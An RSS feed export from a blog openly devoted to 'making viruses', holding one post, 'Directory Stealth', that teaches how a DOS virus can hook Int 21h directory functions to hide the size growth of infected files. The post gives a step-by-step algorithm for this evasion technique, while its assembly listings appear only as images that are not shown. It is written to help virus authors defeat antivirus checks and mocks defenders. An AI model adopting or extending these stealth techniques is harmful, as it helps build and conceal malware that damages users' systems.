<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-4462266207216999823</atom:id><lastBuildDate>Mon, 28 Nov 2011 00:56:35 +0000</lastBuildDate><category>EXE</category><category>Turbo Assembler</category><category>Assembly</category><category>Computer virus</category><category>Languages</category><category>Infection</category><category>Programming</category><category>Ads</category><category>DOS</category><title>Computer Virus Making | Make A Virus!</title><description>Just for EDUCATIONAL purpose only.</description><link>http://virii-making.blogspot.com/</link><managingEditor>noreply@blogger.com (DauskupanG)</managingEditor><generator>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Dauskupang" /><feedburner:info uri="dauskupang" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>Dauskupang</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-7819174248759877020</guid><pubDate>Sat, 11 Jun 2011 15:41:00 +0000</pubDate><atom:updated>2011-06-11T23:41:04.572+08:00</atom:updated><title>Directory Stealth</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1SgDKRdGyrWL7BH1u0r53FWP4QA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1SgDKRdGyrWL7BH1u0r53FWP4QA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1SgDKRdGyrWL7BH1u0r53FWP4QA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1SgDKRdGyrWL7BH1u0r53FWP4QA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Stealth Viruses are the Viruses that I must admit Anti-Viral Queers don't tend to like at all. Emagine if we added a Polymorphic feature into the Stealth Virus? But, if you want to Continue Writing Viruses you have to make them Stealth. MS-DOS Version 6.0 Now comes with Virus Scanners and CRC &amp;amp; Checksum Checkers. In order to stop many viruses, But it will NEVER stop the `Stealth' Virus that is SMART of those AV features!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
People think that there is ALOT of more INFECTED PCs since the virus threat, started in 1986-7. Even though in the beginning only 10 or so viruses were known, they Infected more systems, Compared to the viruses today, where we have about 1300 and growing. But the truth is LESS PCs are getting infect now, as people are now Virus Aware. With all the utilities out, any joker can stop and clean a virus in seconds. Come on, how many people MEMORIZED COMMAND.COM size? Out of my head its 47845 (MS-Dos V5.0). A simple increase of size tells me I got a problem. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
A simple Stealth Feature every virus MUST have is the DOS `Dir' Stealth feature. That will NOT show you the INCREASE of file size, when the virus infects it. I have played with a few routines as such. I have tried reducing the File size in the FAT area, which results in the famous CHKDSK error reports of Loss Sectors, or Cross Links... And fixing them with CHKDSK will result in damaging the file for good.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
What can we do? How about reducing the File size Right AFTER its read by DOS or any Utilities and right BEFORE its display on the screen! Yeah that's an Idea, Here's how to go about it...&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp; %Theory%&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp; ~~~~~~~~&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: red;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: red;"&gt;First we must HOOK Int 21h, as every time a `DIR' is done, Int 21h &lt;/span&gt;&lt;span style="color: red;"&gt;function 11h &amp;amp; 12h is called! If you don't know how to Hook Interrupts&lt;/span&gt;&lt;span style="color: red;"&gt; &lt;b&gt;&lt;i&gt;&lt;a href="http://virii-making.blogspot.com/2008/03/function-of-int.html"&gt;Read Functions of INT&lt;/a&gt;&lt;/i&gt;&lt;/b&gt; Article in this &lt;i&gt;&lt;b&gt;&lt;a href="http://boxheit.com/"&gt;Site&lt;/a&gt;.&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-e-zl9aanITU/TfOITtTJGXI/AAAAAAAAAGg/gFaTcbLoZHk/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-e-zl9aanITU/TfOITtTJGXI/AAAAAAAAAGg/gFaTcbLoZHk/s1600/2.jpg" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;That's all that is needed in your Int21_Handler. Ofcourse if you are infecting file that are being Execute you add it ABOVE! Anyhow lets Explain the "DIR_STEALTH"&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Pf_tiuKUejs/TfOJQCMnwdI/AAAAAAAAAGk/uePAE76-OD0/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-Pf_tiuKUejs/TfOJQCMnwdI/AAAAAAAAAGk/uePAE76-OD0/s1600/2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;%Algorithms%&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;~~~~~~~~~~~~&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;div style="color: red;"&gt;CONDITION: After calling Function 11h/12h (Int 21h) it will search with the contents in the FCB. (*.*) which the DS:DX registers point to the FCB. If successful it will DUPLICATE the specified of the FCB in the current DTA (Disk Transfer Area) And basically we will EDIT the info in the DTA!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;span style="color: red;"&gt;NOTE: Just because we are using the DTA doesn't mean this will work for function 4Eh/4Fh (Int 21h) that uses the DTA and ASCIIZ strings to search, that is a different procedure, though somewhat the same as this one. See Method #2 (COMING SOON), for that.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;div style="text-align: left;"&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;&lt;span style="color: lime;"&gt;Step 1.&lt;/span&gt;&lt;/b&gt; &lt;span style="color: #6aa84f;"&gt;We call the Int 21h so we may have the results to play with&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/i&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;i&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BEFORE DOS displays them on screen.&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp;&amp;nbsp; &lt;b&gt;&lt;span style="color: lime;"&gt;Step 2.&lt;/span&gt;&lt;/b&gt; &lt;span style="color: #6aa84f;"&gt;Get the Current PSP, As the FCB is located inside the PSP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/i&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;i style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in COM files its CS:0000 - CS:00FF. But in EXEs it can be any-&amp;nbsp; &lt;/i&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;i&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; where, Int21h/AH=51 (Undocemented) will do this for us.&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp;&amp;nbsp;&lt;b&gt;&lt;span style="color: lime;"&gt; Step 3.&lt;/span&gt;&lt;/b&gt; &lt;span style="color: #6aa84f;"&gt;Unmask the seconds (see if its infected) Quit if NOT&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp;&lt;b&gt;&lt;span style="color: lime;"&gt;&amp;nbsp; Step 4.&lt;/span&gt;&lt;/b&gt; &lt;span style="color: #6aa84f;"&gt;Get the current DTA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp;&amp;nbsp;&lt;b style="color: lime;"&gt; Step 5.&lt;/b&gt; &lt;span style="color: #6aa84f;"&gt;Test if it is Either an Extended FCB or Normal! If Extended&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/i&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;i style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Simple add 7h to the Address. (As Extended only have 7 bytes&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;&lt;br style="color: #6aa84f;" /&gt;&lt;i&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; extra in the begining)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style="color: lime;"&gt;&amp;nbsp;&amp;nbsp;&lt;b&gt; Step 6.&lt;/b&gt;&lt;/span&gt; &lt;span style="color: #6aa84f;"&gt;Minus File size from the DTA! &amp;amp; Restore Time Back&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
Here it is... Method #1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-9vROpgCcq_A/TfOKrwwCPoI/AAAAAAAAAGo/4M0zZ43MnMg/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-9vROpgCcq_A/TfOKrwwCPoI/AAAAAAAAAGo/4M0zZ43MnMg/s1600/2.jpg" /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;Also before we start fiddling around we must know if we are working with and EXTENDED FCB or the Normal FCB, or else Major Problems! The Extended has three fields appended to the normal one... (Above)&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-j73AQBsCgJc/TfOLZ94i6hI/AAAAAAAAAGs/AopUW9Wa-Fg/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-j73AQBsCgJc/TfOLZ94i6hI/AAAAAAAAAGs/AopUW9Wa-Fg/s1600/2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The END!!!!! Hehe.....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-7819174248759877020?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=uGg3t6odEJI:A9fFpSOA97c:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a 